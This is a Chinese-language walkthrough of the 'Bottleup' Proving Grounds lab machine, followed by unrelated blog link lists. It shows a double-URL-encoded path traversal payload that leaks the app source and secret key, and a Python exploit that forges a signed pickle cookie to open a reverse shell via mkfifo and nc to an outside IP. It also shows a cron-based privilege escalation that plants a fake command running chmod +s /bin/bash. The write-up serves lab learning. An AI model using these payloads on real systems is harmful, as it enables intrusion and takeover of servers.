Bottleup pg walkthrough Intermediate
一开始看到page=view/.html的时候就想到目录穿越了尝试../../../../../../../../../../../etc/passwd 发现不行
找半天其他可能存在漏洞的地方又找不到
卡壳了
看了看hints 他告诉我存在二次编码绕过
这点确实没想到
可以进行两次url编码再访问/proc/self/cmdline 看看该程序的路径是啥
然后
读取python代码
page=..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fopt%252fbottle-blog%252fapp.py
读取到python源码
from bottle import route, run, static_file, template, request, response, error
from config.secret import secret
import os
import urllib
import re
@route("/") def home():
session = request.get_cookie('name', secret=secret)
if (not session):
session = {"name": "guest"}
response.set_cookie('name', session, secret=secret)
return template('index', name=session['name']) @ route('/static/js/<filename>')
def server_static(filename):
return static_file(filename, root=os.getcwd() + '/views/js/') @ route('/static/css/<filename>')
def server_static(filename):
return static_file(filename, root=os.getcwd() + '/views/css/') @ route("/view", methods=['GET'])
def home():
try: # Avoiding URL Encoding # Fix added after the report from our security team # Added by Developer bob
page = urllib.parse.unquote(request.query_string.split("=")[1])
except:
page = ""
if page == "": return template("error.html", error="Error! Page Parameter empty!")
# Avoiding leaking code source or config
elif page.startswith("app.py") or page.startswith("config"):
return template("error.html", error="You can't view this page!")
# Avoiding directory traversal if ('../' not in page) and ('./' not in page): # Inforcing URL Encoding # Added by Intern Max
page = urllib.parse.unquote(page)
p = "404"
if os.path.isfile(os.getcwd() + '/' + page):
with open(os.getcwd() + '/' + page, "r") as f:
p = f.read()
else:
return template("error.html", error="Page not found!")
return template("blog.html", read=p) @ error(404)
def error404(error):
return template('error.html', error='404 not found')
if __name__ == '__main__': run(host='0.0.0.0', port=8080)
发现有个secret 读取secret
/view?page=..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fopt%252fbottle-blog%252fconfig%252fsecret.py
改写代码让我们的cookie变成admin


但是问题又出现了估计是版本的问题我本地生成的cookie和wp生成的cookie是不一样的
这就造成了我实现不了admin的伪造 无奈只能copy wp的cookie了
然后又不知道咋整了
看wp
发现是存在bottle的漏洞 (太难了)
exp生成
import base64
import hashlib
import pickle
import hmac
import os
def tob(s):
return s.encode('utf-8')
secret = "546546DSQ7711DSQDSQXWZ"
code = """
import os
os.system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 192.168.45.250 80 >/tmp/f')
"""
class RCE:
def __reduce__(self):
return exec, (code,)
data = RCE()
msg = base64.b64encode(pickle.dumps(data, -1))
sig = base64.b64encode(hmac.new(tob(secret), msg, digestmod=hashlib.md5).digest())
print(tob('!') + sig + tob('?') + msg)
将生成的cookie 写入就能反弹shell了 这块原理回头还得研究一下
弹回来shell了

查看pspy看定时任务发现

linpeas 发现我们具有可读可写的权限对于 这两个服务

查看该服务 发现原来定时任务是在这里开启的 60秒执行一次

运行文件我们会发现很有意思的东西

他会说这个命令不存在mpstats
这就以为这我们可以伪造命令了
cd ~;echo "chmod +s /bin/bash" > mpstats
等待定时任务执行
提权成功

只能说这次的靶机涉及的点都没想到学到了很多
Bottleup pg walkthrough Intermediate的更多相关文章
- 简析服务端通过GT导入SHP至PG的方法
文章版权由作者李晓晖和博客园共有,若转载请于明显处标明出处:http://www.cnblogs.com/naaoveGIS/ 1.背景 项目中需要在浏览器端直接上传SHP后服务端进行数据的自动入PG ...
- Bootstap datetimepicker报错TypeError: intermediate value
Bootstrap datetimepicker有多个版本,官方的链接中,只是datepicker,没有时间的选择,原版的datetimepicker也不再更新,不能用新版的jquery.现在http ...
- PG 中 JSON 字段的应用
13 年发现 pg 有了 json 类型,便从 oracle 转 pg,几年下来也算比较熟稔了,总结几个有益的实践. 用途一:存储设计时无法预料的文档性的数据.比如,通常可以在人员表准备一个 json ...
- pg gem 安装(postgresql94)
使用下面命令安装报错 gem install pg 错误: [root@AS-test middle_database]# gem install pgBuilding native extensio ...
- #pg学习#postgresql的安装
1.按照官网给的步骤编译安装(Mac安装是比较容易的,相比Liunx) cd /Users/renlipeng/Desktop/postgresql-9.5.1 ./configure --prefi ...
- PG 函数的易变性(Function Volatility Categories)
此概念的接触是在做分区表的时候碰到的,分区表按时间字段分区,在查询时当where条件中时间为now()或者current_time()等时是无法查询的,即使进行格式转换也不行,只有是时间格式如‘201 ...
- c++错误——intermediate.manifest : general error c1010070很傻的错
.\Debug\sadf.exe.intermediate.manifest : general error c1010070: Failed to load and parse the manife ...
- mysql 序列与pg序列的比较
mysql序列(这里只谈innodb引擎): 在使用mysql的AUTO_INCREMENT时,使用AUTO_INCREMENT的字段必须建有索引,也可以为索引的一部分.当没有索引时会报错: ...
- 使用zfs进行pg的pitr恢复测试
前段时间做了一下zfs做pg的增量恢复测试,mark一下. 服务器信息: 主机:192.168.173.43 备机:192.168.173.41 主备使用流复制搭建,在备机上面进行了zfs快照备份. ...
- PG CREATEINDEX CONCURRENTLY
PG CREATEINDEX CONCURRENTLY [TOC] 官方说法 根据9.1的文档 Creating an index can interfere with regular operati ...
随机推荐
- cmu15545笔记-Join算法(Join Algorithms)
目录 Overview Nested Loop Join Naïve Block Index Sort-Merge Join Hash Join Simple Hash Join Partition ...
- REST API 已经 25 岁了:它是如何形成的,将来可能会怎样?
原文:https://journal.hexmos.com/rest-turns-25/ 原题:REST APIs Turn 25: How They Came To Be and What Coul ...
- 100 款支持 .NET 多版本的强大 WPF 控件库
前言 推荐一款集成了超过100款控件的流行 XAML 控件库,同时提供了一系列常用的 .NET 帮助类-CookPopularUI.它可以简化开发流程,让我们能够更加专注于核心业务逻辑的实现. 让我们 ...
- JUC (Java Util Concurrency) 基础内容概述
目录[-] 转自:http://www.goldendoc.org/2011/05/juc/ 1. JUC概况 2. 原子操作 3. 指令重排 4. Happens-before法则:(Java 内存 ...
- elementui resetFields()不起作用
需要结合prop才有作用
- Django Admin之常用功能汇总
1.字段支持下拉搜索框 1)在admin中新增字段autocomplete_fields autocomplete_fields = ("field1","field2& ...
- Nuxt.js 应用中的 webpack:progress 事件钩子
title: Nuxt.js 应用中的 webpack:progress 事件钩子 date: 2024/11/27 updated: 2024/11/27 author: cmdragon exce ...
- Limit线段树题单题解(更新中)
P3373 线段树模板 2 \(1 \leq n \leq 10^5\) 题解:考查标记与标记的合并 我们考虑打两个懒惰标记实现区间乘和区间加 线段树维护区间和 对于信息与信息的合并:左儿子加上右儿子 ...
- Javascript 构造函数和类
1.构造函数 含义:所谓"构造函数",就是专门用来生成实例对象的函数.它就是对象的模板,描述实例对象的基本结构.一个构造函数,可以生成多个实例对象,这些实例对象都有相同的结构 写法 ...
- vue组件传参props
传参格式,将需要传的参数以属性方式写在组件标签上 //组件标签 <zu a='参数一' b='参数b'></zu> 接收格式,在组件内 //props属性接收参数 props: ...